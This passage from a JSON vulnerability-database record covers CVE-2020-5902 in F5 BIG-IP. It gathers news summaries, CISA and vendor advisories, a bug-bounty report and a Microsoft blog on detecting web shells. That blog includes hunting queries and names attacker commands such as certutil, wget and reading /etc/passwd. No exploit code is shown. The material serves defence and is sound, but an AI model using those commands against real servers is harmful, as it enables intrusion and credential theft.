and even hide between the layers. XDR solutions offer a convincing alternative to EDR and point solutions._\n\n[**15 Billion Credentials Currently Up for Grabs on Hacker Forums**](<https://threatpost.com/15-billion-credentials-currently-up-for-grabs-on-hacker-forums/157247/>)\n\n_Fifteen billion usernames and passwords for a range of internet services are currently for sale on underground forums. A report released from the Digital Shadows Photon Research Team found that 100,000 separate data breaches over a 2-year period have yielded a 300% increase in stolen credentials, leaving a wealth of account details on dark-web hacker forums up for grabs._\n\n[**ISO/SAE 21434: It\u2019s Time to Put the Brakes on Connected Car Cyber-Threats**](<https://blog.trendmicro.com/iso-sae-21434-its-time-to-put-the-brakes-on-connected-car-cyber-threats/>)\n\n_Connected cars are set to grow 270% by 2022 to reach an estimated 125 million in just a few years. However, the high-performance mobile computers in connected cars can also leave them exposed to sensitive data theft and remote manipulation, which could create serious physical safety issues. This is where the ISO/SAE 21434 standard comes in and creates detailed guidance for the automotive industry to help it navigate these challenges and reduce reputational and cyber-risk._\n\n[**New Mirai Variant Expands Arsenal, Exploits CVE-2020-10173**](<https://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-variant-expands-arsenal-exploits-cve-2020-10173/>)\n\n_Trend Micro discovered a new Mirai variant that exploits nine vulnerabilities, most notable of which is CVE-2020-10173 in Comtrend VR-3033 routers which were not observed as exploited by past Mirai variants. This discovery is a new addition to the Mirai variants that appeared in the past few months which include SORA, UNSTABLE, and Mukashi. _\n\n[**Microsoft Files Lawsuit to Seize Fake Domains Used in COVID-19-Themed BEC Attacks**](<https://www.securityweek.com/microsoft-files-lawsuit-seize-fake-domains-used-covid-19-themed-bec-attacks?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+Securityweek+%28SecurityWeek+RSS+Feed%29>)\n\n_Microsoft has filed a lawsuit in an effort to seize control of several domains used to launch COVID-19-themed cyberattacks against the company\u2019s customers in 62 countries. The company started tracking the malicious activity in December 2019 after identifying it as a phishing scheme attempting to compromise Microsoft customer accounts and access emails, contacts, sensitive files, and other information._\n\n[**Cleaner One Pro Speeds Up Your Mac: Part 1**](<https://blog.trendmicro.com/cleaner-one-pro-speeds-up-your-mac-part-1/>)\n\n_Trend Micro Cleaner One Pro is an easy-to-use, all-in-one disk cleaning and optimization utility that can help you boost your Mac\u2019s performance. In this two-part blog series, Trend Micro outlines how you can use Cleaner One Pro to make your Mac run faster, walking you through its features. In Part 1, Trend Micro focuses on Quick Optimizer, the Main Console, and the Cleaning Tools. _\n\n[**Joker Malware Apps Once Again Bypass Google's Security to Spread via Play Store**](<https://thehackernews.com/2020/07/joker-android-mobile-virus.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Cyber+Security+Blog%29>)\n\n_Cybersecurity researchers unveiled another instance of Android malware hidden under the guise of legitimate applications to stealthily subscribe unsuspecting users for premium services without their knowledge. The Joker malware has found another trick to bypass Google's Play Store protections: obfuscate the malicious DEX executable inside the application as Base64 encoded strings, which are then decoded and loaded on the compromised device._\n\n[**Malicious Chrome Extensions, Domains Used to Steal User Data**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/chrome-extensions-malicious-domains-used-to-steal-user-data>)\n\n_Google Chrome extensions and Communigal Communication Ltd. (Galcomm) domains were used in a campaign that aims to track user activity and data, according to Awake Security. In the past three months, the researchers found 111 malicious or fake Chrome extensions using Galcomm domains as their command and control infrastructure. There have been at least 32 million downloads of these malicious extensions._\n\n[**Patch Now: F5 Vulnerability with CVSS 10 Severity Score**](<https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/patch-now-f5-vulnerability-with-cvss-10-severity-score>)\n\n_F5 Networks, a provider of networking devices and services, urges users to patch their BIG-IP networking systems as soon as possible after disclosing two vulnerabilities: CVE-2020-5902, a critical remote code execution (RCE) vulnerability found in BIG-IP device\u2019s Traffic Management User Interface (TMUI), and_ _CVE-2020-5903, a less critical vulnerability that involves cross-site scripting (XSS). F5 has now released patches for both in the vulnerabilities\u2019 respective security advisories._\n\n[**Ransomware Report: Avaddon and New Techniques Emerge, Industrial Sector Targeted**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted>)\n\n_Over the past couple of months, ransomware has remained a formidable threat as new families, techniques, and targets continue emerging at every turn. Trend Micro recently witnessed the rise of a new ransomware family called Avaddon. In this blog, Trend Micro examines techniques utilized by some ransomware variants and the industries affected by these attacks. _\n\n[**70% of Organizations Experienced a Public Cloud Security Incident in the Last Year**](<https://www.helpnetsecurity.com/2020/07/09/public-cloud-security-incident/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+HelpNetSecurity+%28Help+Net+Security%29>)\n\n_70% of organizations experienced a public cloud security incident in the last year \u2013 including ransomware and other malware (50%), exposed data (29%), compromised accounts (25%), and cryptojacking (17%), according to Sophos._ _Organizations running multi-cloud environments are greater than 50% more likely to suffer a cloud security incident than those running a single cloud._\n\n[**Russian Group Cosmic Lynx Launches Over 200 BEC Campaigns**](<https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/russian-group-cosmic-lynx-launches-over-200-bec-campaigns>)\n\n_A Russian group dubbed as Cosmic Lynx initiated more than 200 Business Email Compromise (BEC) campaigns targeting hundreds of multinational companies, according to security firm Agari. Cosmic Lynx was revealed to have been launching campaigns in over 40 countries including the United States, Canada, and Australia since 2019. The average amount requested from the targets is at US $1.27 million._\n\n[**Guidelines Related to Security in Smart Factories Part 3: NIST Cyber Security Framework**](<https://www.trendmicro.com/us/iot-security/news/5979/Guidelines_Related_to_Security_in_Smart_Factories_Part_3_NIST_Cyber_Security_Framework>)\n\n_This blog series explains examples of general-purpose guidelines for ICS and OT security and helps readers understand the concepts required for security in smart factories. Part three dives into the NIST Cyber Security Framework (CSF), which is issued by US National Institute of Standards and Technology (NIST). _\n\nHas your organization experienced a public cloud security incident over the last year? Share your thoughts in the comments below or follow me on Twitter to continue the conversation: [@JonLClay.](<https://twitter.com/jonlclay>)\n\nThe post [This Week in Security News: 15 Billion Credentials Currently Up for Grabs on Hacker Forums and New Mirai Variant Expands Arsenal](<https://blog.trendmicro.com/this-week-in-security-news-15-billion-credentials-currently-up-for-grabs-on-hacker-forums-and-new-mirai-variant-expands-arsenal/>) appeared first on [](<https://blog.trendmicro.com>).", "cvss3": {}, "published": "2020-07-10T12:30:22", "type": "trendmicroblog", "title": "This Week in Security News: 15 Billion Credentials Currently Up for Grabs on Hacker Forums and New Mirai Variant Expands Arsenal", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-10173", "CVE-2020-5902", "CVE-2020-5903"], "modified": "2020-07-10T12:30:22", "id": "TRENDMICROBLOG:71352D2908FCBB1B73386712067E79E8", "href": "https://blog.trendmicro.com/this-week-in-security-news-15-billion-credentials-currently-up-for-grabs-on-hacker-forums-and-new-mirai-variant-expands-arsenal/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa": [{"lastseen": "2021-02-24T18:06:46", "description": "F5 has released a security advisory to address a remote code execution (RCE) vulnerability\u2014[CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>)\u2014in the BIG-IP Traffic Management User Interface (TMUI). An attacker could exploit this vulnerability to take control of an affected system.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) encourages users and administrators to review the F5 advisory for [CVE-2020-5902](<https://support.f5.com/csp/article/K52145254>) and upgrade to the appropriate version.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ncas/current-activity/2020/07/04/f5-releases-security-advisory-big-ip-tmui-rce-vulnerability-cve>); we'd welcome your feedback.\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-04T00:00:00", "type": "cisa", "title": "F5 Releases Security Advisory for BIG-IP TMUI RCE vulnerability, CVE-2020-5902", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-04T00:00:00", "id": "CISA:3219D2E89DB1680D9EF6F22691FC5829", "href": "https://us-cert.cisa.gov/ncas/current-activity/2020/07/04/f5-releases-security-advisory-big-ip-tmui-rce-vulnerability-cve", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "ptsecurity": [{"lastseen": "2021-10-22T10:43:24", "description": "# PT-2020-04: Arbitrary code execution in F5 Traffic Management User Interface (TMUI)\n\nF5 Traffic Management User Interface (TMUI)\n\n**Severity:**\n\nSeverity level: High \nImpact: Arbitrary code execution in F5 Traffic Management User Interface (TMUI) \nAccess Vector: Remote\n\nCVSS v3.1: Base 10 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n\nCVE: CVE-2020-5902\n\n**Vulnerability description:**\n\nThe vulnerability allows unauthorized remote attackers to execute malicious code on the system, obtain sensitive information, or hijack traffic, as well as use the server with the Traffic Management User Interface (TMUI) for attacks on other internal resources of the target organization.\n\n**Advisory status:**\n\n01.04.2020 - Vendor notification date \n01.07.2020 - Security advisory publication date (<https://support.f5.com/csp/article/K52145254>) \n\n**Credits:**\n\nThe vulnerability was discovered by Mikhail Klyuchnikov, Positive Technologies\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-01-04T00:00:00", "type": "ptsecurity", "title": "PT-2020-04: Arbitrary code execution in F5 Traffic Management User Interface (TMUI)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-01-07T00:00:00", "id": "PT-2020-04", "href": "https://www.ptsecurity.com/ww-en/analytics/threatscape/pt-2020-04/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "hackerone": [{"lastseen": "2022-03-25T13:54:30", "bounty": 0.0, "description": "@remonsec reported to us a vulnerability in F5 BIG-IP's Traffic Management User Interface (TMUI), which exploited, could have led to RCE (in undisclosed pages): [CVE-2020-5902](https://support.f5.com/csp/article/K52145254)\nWe swiftly applied the fix to the F5 BIG-IP & restricted access further, which resolved the issue.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-23T13:50:18", "type": "hackerone", "title": "8x8: F5 BIG-IP TMUI RCE - CVE-2020-5902 (\u2588\u2588.packet8.net)", "bulletinFamily": "bugbounty", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2022-03-25T11:11:39", "id": "H1:1519841", "href": "https://hackerone.com/reports/1519841", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2022-02-16T19:38:38", "description": "A remote code execution vulnerability exists in F5 BIG-IP. Successful exploitation of this vulnerability could allow remote attackers to execute arbitrary code on the affected system.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-06T00:00:00", "type": "checkpoint_advisories", "title": "F5 BIG-IP Remote Code Execution (CVE-2020-5902)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-21T00:00:00", "id": "CPAI-2020-0628", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "F5 BIG-IP Traffic Management User Interface Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2020-5902", "href": "", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "mssecure": [{"lastseen": "2021-02-11T17:15:02", "description": "One year ago, we reported the steady increase in the use of web shells in attacks worldwide. The latest Microsoft 365 Defender data shows that this trend not only continued, it accelerated: every month from August 2020 to January 2021, we registered an average of 140,000 encounters of these threats on servers, almost double the 77,000 monthly average we [saw last year](<https://www.microsoft.com/security/blog/2020/02/04/ghost-in-the-shell-investigating-web-shell-attacks/>).\n\n\n\n_Figure 1. Web shell encounters on servers_\n\nThe escalating prevalence of web shells may be attributed to how simple and effective they can be for attackers. A web shell is typically a small piece of malicious code written in typical web development programming languages (e.g., ASP, PHP, JSP) that attackers implant on web servers to provide remote access and code execution to server functions. Web shells allow attackers to run commands on servers to steal data or use the server as launch pad for other activities like credential theft, lateral movement, deployment of additional payloads, or hands-on-keyboard activity, while allowing attackers to persist in an affected organization.\n\nAs web shells are increasingly more common in attacks, both commodity and targeted, we continue to monitor and investigate this trend to ensure customers are protected. In this blog, we will discuss challenges in detecting web shells, and the Microsoft technologies and investigation tools available today that organizations can use to defend against these threats. We will also share guidance for hardening networks against web shell attacks.\n\n## Web shells as entry point for attacks\n\nAttackers install web shells on servers by taking advantage of security gaps, typically vulnerabilities in web applications, in internet-facing servers. These attackers scan the internet, often using public scanning interfaces like [shodan.io](<https://www.shodan.io/>), to locate servers to target. They may use previously fixed vulnerabilities that unfortunately remain unpatched in many servers, but they are also known to quickly take advantage of newly disclosed vulnerabilities.\n\nFor example, on June 30, F5 Networks released a patch for CVE-2020-5902, a remote code execution (RCE) vulnerability in Traffic Management User Interface (TMUI). The vulnerability is a [directory traversal bug](<https://owasp.org/www-community/attacks/Path_Traversal>) with a CVSS score of 9.8 out of a possible 10. Just four days later, on July 4, exploit code was added to a Metasploit module.\n\n\n\n_Figure 2. CVE-2020-5902 __exploit code _\n\nThe following day, Microsoft researchers started seeing the exploit being used by attackers to upload a web shell to vulnerable servers. The web shell was used to run common cryptocurrency miners. In the days that followed, industry security researchers saw the exploit being broadly used to deploy web shells, with multiple variants surfacing not long after.\n\nThis incident demonstrates the importance of keeping servers up to date and hardened against web shell attacks. Web servers are frequently accessible from the internet and can be used by attackers to gain access to a network.\n\n## Web shells as persistence mechanisms\n\nOnce installed on a server, web shells serve as one of the most effective means of persistence in an enterprise. We frequently see cases where web shells are used solely as a persistence mechanism. Web shells guarantee that a backdoor exists in a compromised network, because an attacker leaves a malicious implant after establishing an initial foothold on a server. If left undetected, web shells provide a way for attackers to continue to gather data from and monetize the networks that they have access to.\n\nCompromise recovery cannot be successful and enduring without locating and removing attacker persistence mechanisms. And while rebuilding a single compromised system is a great solution, restoring existing assets is the only feasible option for many. So, finding and removing all backdoors is a critical aspect of compromise recovery.\n\nAnd this brings us back to the challenge of web shell detection. As we mentioned earlier, web shells can be generalized as a means of executing arbitrary attacker input by way of an implant. The first challenge is dealing with just how many ways an attacker can execute code. Web applications support a great array of languages and frameworks and, thus, provide a high degree of flexibility and compatibility that attackers take advantage of.\n\nIn addition, the volume of network traffic plus the usual noise of constant internet attacks means that targeted traffic aimed at a web server can blend right in, making detection of web shells a lot harder and requiring advanced behavior-based detections that can identify and stop malicious activities that hide in plain sight.\n\n## Challenges in detecting web shells\n\nWeb shells can be built using any of several languages that are popular with web applications. Within each language, there are several means of executing arbitrary commands and there are multiple means for arbitrary attacker input. Attackers can also hide instructions in the user agent string or any of the parameters that get passed during a web server/client exchange.\n\nAttackers combine all these options into just a couple of bytes to produce a web shell, for example:\n\n\n\n_Figure 3. Example of web shell code_\n\nIn the example above, the only readable word in the web shell is \u201ceval\u201d, which can be easy to miss or misinterpret. When analyzing script, it is important to leverage contextual clues. For example, a scheduled task called \u201cUpdate Google\u201d that downloads and runs code from a suspicious website should be inspected more closely.\n\nWith web shells, analyzing context can be a challenge because the context is not clear until the shell is used. In the following code, the most useful clues are \u201csystem\u201d and \u201ccat /etc/passwd\u201d, but they do not appear until the attacker interacts with the web shell:\n\n\n\n_Figure 4. Another example of web shell code_\n\nAnother challenge in detecting web shells is uncovering intent. A harmless-seeming script can be malicious depending on intent. But when attackers can upload arbitrary input files in the web directory, then they can upload a full-featured web shell that allows arbitrary code execution\u2014which some very simple web shells do.\n\nThese file-upload web shells are simple, lightweight, and easily overlooked because they cannot execute attacker commands on their own. Instead, they can only upload files, such as full-featured web shells, onto web servers. Because of their simplicity, they are difficult to detect and can be dismissed as benign, and so they are often used by attackers for persistence or for early stages of exploitation.\n\nFinally, attackers are known to hide web shells in non-executable file formats, such as media files. Web servers configured to execute server-side code create additional challenges for detecting web shells, because on a web server, a media file is scanned for server-side execution instructions. Attackers can hide web shell scripts within a photo and upload it to a web server. When this file is loaded and analyzed on a workstation, the photo is harmless. But when a web browser asks a server for this file, malicious code executes server side.\n\nThese challenges in detecting web shells contribute to their increasing popularity as an attack tool. We constantly monitor how these evasive threats are utilized in cyberattacks, and we continue to improve protections. In the next section, we discuss how behavior-based detection technologies help us protect customers from web shell attacks.\n\n## How Microsoft helps defend networks against web shell attacks\n\nGaining visibility into internet-facing servers is key to detecting and addressing the threat of web shells. To tackle challenges in detecting these threats, [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) uses a combination of durable protections that prevent web shell installation and behavior-based detections that identify related malicious activity. Microsoft Defender for Endpoint exposes malicious behavior by analyzing script file writes and process executions. Due to the nature of web shells, static analysis is not effective\u2014as we have shown, it is relatively easy to modify web shells and bypass static protections. To effectively deliver protection, Microsoft Defender for Endpoint uses multiple layers of protection through behavior inspection.\n\n[Behavior-based blocking and containment capabilities](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/behavioral-blocking-containment>), which use engines that specialize in detecting threats by analyzing behavior, monitor web-accessible directories for any new script file creation. While file creation events alone cannot be treated as suspicious, correlating such events with the responsible process tree can yield more reliable signals and surface malicious attempts. The engine can then remediate the script, neutralizing the primary infection vector. For example, IIS instance (_w3wp.exe_) running suspicious processes such as \u2018_cmd.exe /c echo\u2019_, \u2018_certutil.exe\u2019_, or \u2018_powershell.exe\u2019_ that result in the creation of script files in web -accessible folders is a rare event and is, thus, typically a strong sign of web server compromise and web shell installation.\n\n\n\n\n\nMicrosoft Defender for Endpoint also detects web shell installation attempts originating from remote systems within the organization using various lateral movement methods. For example, attackers have been observed to drop web shells through Windows Remote Management (WinRM) or use existing Windows commands to transfer web shells over SMB. On the web server, these remote actions are carried by system processes, thus giving visibility into the process tree. System privilege process dropping script files is another suspicious event and provides the behavior inspection engines ways to remediate the script before the attackers can perform any malicious actions.\n\n\n\n\n\nBehavior-based protection also provides post-compromise defense in scenarios where attackers are already operating and running commands on web servers. Once attackers gain access to a server, one of their first steps is to understand the privilege and the environment they have access to by using built-in reconnaissance commands that are not typically used by web applications. IIS instance (_w3wp.exe_) running commands like _\u2018net\u2019_, _\u2018whoami\u2019_, _\u2018dir\u2019_, _\u2018cmd.exe\u2019_, or _\u2018query\u2019_, to name a few, is typically a strong early indicator of web shell activity.\n\nIIS servers have built-in management tools used by administrators to perform various maintenance tasks. These platforms surface various PowerShell cmdlets that can expose critical information to the attackers. IIS instances (_w3wp.exe_) that host various web-facing client services such as Outlook on the web (formerly known as Outlook Web App or OWA) or Exchange admin center (EAC; formerly known as the Exchange Control Panel or ECP) accessing the management platform or executing below cmdlets is a suspicious activity and signifies a hands-on-keyboard attack. The behavior engine monitors execution of such cmdlets and the responsible process trees, for example:\n\n\n\nWith its behavior-based blocking and containment capabilities, Microsoft Defender for Endpoint can identify and stop behavior associated with web shell attacks. It raises alerts for these detections, enabling security operations teams to use the rich investigation tools in Microsoft Defender for Endpoint to perform additional investigation and hunting for related or similar threats.\n\n\n\n\n\n_Figure 5. Microsoft Defender for Endpoint alerts for behaviors related to web shell attacks_\n\nMicrosoft 365 Defender and Microsoft Defender for Endpoint customers can also run advanced hunting queries to proactively hunt for web shell attacks:\n\nLook for suspicious process that IIS worker process (w3wp.exe), Apache HTTP server processes (_httpd.exe_, _visualsvnserver.exe_), etc. do not typically initiate (e.g., _cmd.exe_ and _powershell.exe_)\n \n \n DeviceProcessEvents\n | where InitiatingProcessCommandLine has_any(\"beasvc.exe\",\"coldfusion.exe\",\"httpd.exe\",\"owstimer.exe\",\"visualsvnserver.exe\",\"w3wp.exe\") or InitiatingProcessCommandLine contains 'tomcat'\n | where FileName != \"csc.exe\" // exclude csharp compiler\n | where FileName != \"php-cgi.exe\" //exclude php group, fast cgi\n | where FileName != \"vbc.exe\" //exclude Visual Basic Command Line Compiler\n | summarize by FileName\n\nLook for suspicious web shell execution, this can identify processes that are associated with remote execution and reconnaissance activity (example: &quot;arp&quot;, &quot;certutil&quot;, &quot;cmd&quot;, &quot;echo&quot;, &quot;ipconfig&quot;, &quot;gpresult&quot;, &quot;hostname&quot;, &quot;net&quot;, &quot;netstat&quot;, &quot;nltest&quot;, &quot;nslookup&quot;, &quot;ping&quot;, &quot;powershell&quot;, &quot;psexec&quot;, &quot;qwinsta&quot;, &quot;route&quot;, &quot;systeminfo&quot;, &quot;tasklist&quot;, &quot;wget&quot;, &quot;whoami&quot;, &quot;wmic&quot;, etc.)\n \n \n DeviceProcessEvents\n | where InitiatingProcessParentFileName in~(\"beasvc.exe\",\"coldfusion.exe\",\"httpd.exe\",\"owstimer.exe\",\"visualsvnserver.exe\",\"w3wp.exe\") or InitiatingProcessParentFileName startswith \"tomcat\"\n | where InitiatingProcessFileName in~(\"powershell.exe\",\"powershell_ise.exe\",\"cmd.exe\")\n | where FileName != 'conhost.exe'\n\n## Hardening servers against web shells\n\nA single web shell allowing attackers to remotely run commands on a server can have far-reaching consequences. With script-based malware, however, everything eventually funnels to a few natural chokepoints, such as _cmd.exe_, _powershell.exe_, and _cscript.exe_. As with most attack vectors, prevention is critical.\n\nOrganizations can harden systems against web shell attacks by taking these preventive steps:\n\n * Identify and remediate vulnerabilities or misconfigurations in web applications and web servers. Use Threat and Vulnerability Management to discover and fix these weaknesses. Deploy the latest security updates as soon as they become available.\n * Implement proper segmentation of your perimeter network, such that a compromised web server does not lead to the compromise of the enterprise network.\n * Enable antivirus protection on web servers. [Turn on cloud-delivered protection](<https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-antivirus/enable-cloud-protection-windows-defender-antivirus>) to get the latest defenses against new and emerging threats. Users should only be able to upload files in directories that can be scanned by antivirus and configured to not allow server-side scripting or execution.\n * Audit and review logs from web servers frequently. Be aware of all systems you expose directly to the internet.\n * Utilize the Windows Defender Firewall, intrusion prevention devices, and your network firewall to prevent command-and-control server communication among endpoints whenever possible, limiting lateral movement, as well as other attack activities.\n * Check your perimeter firewall and proxy to restrict unnecessary access to services, including access to services through non-standard ports.\n * Practice good credential hygiene. Limit the use of accounts with local or domain admin level privileges.\n\nWeb shells and the attacks that they enable are a multi-faceted threat that require comprehensive visibility across domains and platforms. [Microsoft 365 Defender](<https://aka.ms/m365d>) correlates threat data from endpoints, email and data, identities, and apps to coordinate cross-domain protection. [Learn how you can stop attacks through automated, cross-domain security and built-in AI with Microsoft Defender 365](<https://www.microsoft.com/en-us/microsoft-365/security/microsoft-365-defender>).\n\n \n\n_Detection and Response Team (DART)_\n\n_Microsoft Defender Security Research Team_\n\n \n\nThe post [Web shell attacks continue to rise](<https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/>) appeared first on [Microsoft Security.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-11T17:00:05", "type": "mssecure", "title": "Web shell attacks continue to rise", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2021-02-11T17:00:05", "id": "MSSECURE:9AAC6D759E6AD62F92B56B228C39C263", "href": "https://www.microsoft.com/security/blog/2021/02/11/web-shell-attacks-continue-to-rise/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "dsquare": [{"lastseen": "2021-07-28T14:33:45", "description": "File disclosure 